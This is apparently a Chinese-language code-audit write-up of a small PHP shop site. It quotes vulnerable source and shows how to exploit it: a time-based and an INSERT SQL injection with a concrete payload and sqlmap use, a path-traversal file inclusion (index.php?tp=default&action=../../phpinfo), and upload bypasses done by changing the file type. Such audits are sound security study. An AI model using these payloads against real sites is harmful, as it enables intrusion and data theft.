针对一个php小站,进行代码审计,并查找常见漏洞。
先大致通读代码,查看业务流程。
index.php =>if/common.php=>conig.php=>db.class.php=>function.php=>member.php
流程我就不写了,基本上都是类似的,主要看function.php 里面的过滤信息
SQL注入挖掘
延迟注入
我这里使用SQL监控,对主页进行查看 直接定位
// _if 是过滤函数 function _if($str){ $str = str_replace(">","",$str); $str = str_replace("/","",$str); $str = str_replace("<","",$str); $str = str_replace(":","",$str); $str = str_replace("'","",$str); $str = str_replace(" ","",$str); $str = str_replace("=","",$str); $str = str_replace("||","",$str); $str = str_replace("-","",$str); $str = str_replace("#","",$str); $str = str_replace("*","",$str); $str = str_replace("?","",$str); return $str; // 异步获取商品 // post接收数据,if函数进行过滤,判断参数是否为空 // burp抓包 主页访问执行数据查询操作,所以直接对主页抓包 case 'selgo': $select = "<option>请选择商品</option>"; $tpID = _if($_POST['tyid']); if($tpID == ""){ exit('{"code":0,"msg":"'.$select.'"}'); } $sql = "select * from if_goods where state =1 and tpId = ".$tpID." ORDER BY sotr desc"; $res = $DB->query($sql); $i=1; while ($row =$DB->fetch($res)){ $c = $DB->count("SELECT COUNT(id) from if_km where stat = 0 and gid =".$row['id']); $select.="<option id='".$row['id']."' imgs='".$row['imgs']."' value='"._if2($row['gName'])."'kc='".$c."' title='".$row['price']."' alt = '"._if2($row['gInfo'])."'>"._if2($row['gName'])."</option>"; } exit('{"code":0,"msg":"'.$select.'"}'); break;
第一张图 正常访问 是2 秒 sleep 6秒 延迟了8 秒 所以这是延迟注入 将数据包放到sqlmap里 指定参数就可以查询数据
insert注入
ajax.php文件
除了第一个 其他都使用了函数进行过滤,所以可以进行控制
因为使用了swith语句,所以 ajax.php?act=create
/创建订单 case 'create': $out_trade_no = $_POST['out_trade_no']; $gid = _if($_POST['gid']); $money = _if($_POST['money']); $rel = _if($_POST['rel']); $type = _if($_POST['type']); $number = intval($_POST['number']); if($number <= 0){ exit('{"code":-1,"msg":"no"}'); } $checkcqq_row = $DB->get_row("select * from if_blacklist where data = '$rel' and type = 1"); if($checkcqq_row){ exit('{"code":-1,"msg":"当前QQ已被列入本站黑名单"}'); } $sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number)
burp再次抓包
心想不对呀,我分析的一点都没错,为啥不可以访问?
把ajax文件从头再看一遍就会发现下,这个文件不可以直接访问,通过index文件,进而跳转到这个页面。所以说,数据还是在首页。
点击首页的下单功能,即可。
这不就出来了吗。构造payload
',1,1,'1111111',now(),'qqpay',1),((select database()),1,1,(select user()),now(),'qqpay',1)#&gid=1&money=1&rel=1111111&type=qqpay&number=1
时间注入
这一步骤还是在首页支付功能,第三步
out_trade_no 参数没有任何过滤
if($conf['payapi'] == 5){ $name = isset($_GET['name'])?$_GET['name']:exit('No name!'); $money = isset($_GET['money'])?$_GET['money']:exit('No money!'); $number = isset($_GET['number'])?$_GET['number']:exit('No number!'); $out_trade_no = isset($_GET['out_trade_no'])?$_GET['out_trade_no']:exit('No out_trade_no!'); $gid = isset($_GET['gid'])?$_GET['gid']:exit('No gid!'); $url = "./msubmit.php?out_trade_no=".$out_trade_no."&money=".$money."&type=".$type; exit("<script language='javascript'>window.location.href='".$url."';</script>"); }elseif($conf['payapi'] == 3){ $payapi='http://fpay.blypay.cn/'; }elseif($conf['payapi'] == 10){ $payapi='http://pay.ivzfpt.com/'; } if($type=='alipay' || $type=='tenpay' || $type=='qqpay' || $type=='wxpay'){ require_once(SYSTEM_ROOT_E."epay/epay.config.php"); require_once(SYSTEM_ROOT_E."epay/epay_submit.class.php"); empty($_COOKIE['auth'])?exit():null; $or = $_GET['out_trade_no']; //防止修改价格 $sql = "SELECT * FROM if_order WHERE out_trade_no='{$or}' limit 1"; GET /sendcard/other/submit.php?type=qqpay&name=test&money=2&number=2&out_trade_no=2021614176214762&gid=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sendcard/ Cookie: PHPSESSID=9e55oo2mo4du1v7qr82426mfi1 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
复制数据包,放到sqlmap里检测
文件包含漏洞
在首页index.php 判断tp 和 action参数是否为空,并没有做过滤
在根目录创建一个phpinfo文件
构造exp
index.php?tp=default&action=../../phpinfo
if(!empty($_GET['tp']) && !empty($_GET['action'])){ $tp = $_GET['tp']; $action = $_GET['action']; include 'template/'.$tp.'/'.$action.".php"; exit();
文件上传漏洞
商品文件上传
// admin/clist.php?my=add <?php if($my == "edit_submit"){ $id = intval($_GET['id']); $garr = array(); $garr['gName'] = daddslashes($_POST['gname']); $garr['gInfo'] = daddslashes($_POST['ginfo']); $garr['gInfo'] = str_replace("\r\n","<br>", $garr['gInfo']); $imgs = upimgs($_FILES['img']); $garr['imgs'] = $imgs==null?null:$imgs; $garr['tpId'] = daddslashes($_POST['type']); $garr['price'] = daddslashes($_POST['price']); $garr['state'] = daddslashes($_POST['state']); $garr['sotr'] = daddslashes($_POST['sotr']); function upimgs($upfile){ $max_file_size=2000000; //上传文件大小限制, 单位BYTE $destination_folder="../assets/goodsimg/"; //上传文件路径 $f="assets/goodsimg/";//图片名称 $watermark=1; //是否附加水印(1为加水印,其他为不加水印); $watertype=1; //水印类型(1为文字,2为图片) $waterposition=1; //水印位置(1为左下角,2为右下角,3为左上角,4为右上角,5为居中); $waterstring="if"; //水印字符串 $waterimg="xplore.gif"; //水印图片 $imgpreview=1; //是否生成预览图(1为生成,其他为不生成); $imgpreviewsize=1/8; //缩略图比例 //上传文件类型列表 $uptypes=array( 'image/jpg', 'image/jpeg', 'image/png', 'image/pjpeg', 'image/gif', 'image/bmp', 'image/x-png' ); if (!is_uploaded_file($upfile['tmp_name'])) //是否存在文件 { return null; exit; } $file = $upfile; if($max_file_size < $file["size"]) //检查文件大小 { return null; exit; } if(!in_array($file["type"], $uptypes)) //检查文件类型 { return null; exit; } if(!file_exists($destination_folder)) { mkdir($destination_folder); } $filename=$file["tmp_name"]; $image_size = getimagesize($filename); $pinfo=pathinfo($file["name"]); $ftype=$pinfo['extension']; $destination = $destination_folder.time().".".$ftype; if (file_exists($destination) && $overwrite != true) { return null; exit; } if(!move_uploaded_file ($filename, $destination)) { return null; exit; } $pinfo=pathinfo($destination); $fname=$pinfo['basename']; return $f.$fname;//成功! if($watermark==1) { $iinfo=getimagesize($destination,$iinfo); $nimage=imagecreatetruecolor($image_size[0],$image_size[1]); $white=imagecolorallocate($nimage,255,255,255); $black=imagecolorallocate($nimage,0,0,0); $red=imagecolorallocate($nimage,255,0,0); imagefill($nimage,0,0,$white); switch ($iinfo[2]) { case 1: $simage =imagecreatefromgif($destination); break; case 2: $simage =imagecreatefromjpeg($destination); break; case 3: $simage =imagecreatefrompng($destination); break; case 6: $simage =imagecreatefromwbmp($destination); break; default: return "不支持的文件类型"; exit; } imagecopy($nimage,$simage,0,0,0,0,$image_size[0],$image_size[1]); imagefilledrectangle($nimage,1,$image_size[1]-15,80,$image_size[1],$white); switch($watertype) { case 1: //加水印字符串 imagestring($nimage,2,3,$image_size[1]-15,$waterstring,$black); break; case 2: //加水印图片 $simage1 =imagecreatefromgif("xplore.gif"); imagecopy($nimage,$simage1,0,0,0,0,85,15); imagedestroy($simage1); break; } switch ($iinfo[2]) { case 1: imagejpeg($nimage, $destination); break; case 2: imagejpeg($nimage, $destination); break; case 3: imagepng($nimage, $destination); break; case 6: imagewbmp($nimage, $destination); break; } imagedestroy($nimage); imagedestroy($simage); } }
那么多行的代码,都是对文件的操作,就检测了文件类型,所以更改文件类型即可。
logo文件上传
if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='png'; copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext); echo "成功上传文件!<br>(可能需要清空浏览器缓存才能看到效果)"; } echo '<form action="set.php?mod=upimg" method="POST" enctype="multipart/form-data"><label for="file"></label><input type="file" name="file" id="file" /><input type="hidden" name="s" value="1" /><br><input type="submit" class="btn btn-primary btn-block" value="确认上传" /></form>*请上传300*82的png格式的图片<br><br>现在的图片:<br><img src="../assets/imgs/logo.png?r='.rand(10000,99999).'" style="max-width:100%">'; echo '</div></div>'; }elseif($_GET['mod']=='upBgimg'){ echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首页背景图片</h3> </div><div class="panel-body">'; if($_POST['s']==1){ $extension=explode('.',$_FILES['file']['name']); if (($length = count($extension)) > 1) { $ext = strtolower($extension[$length - 1]); } if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='jpg'; copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/bj3.'.$ext);
同样也是 更改文件类型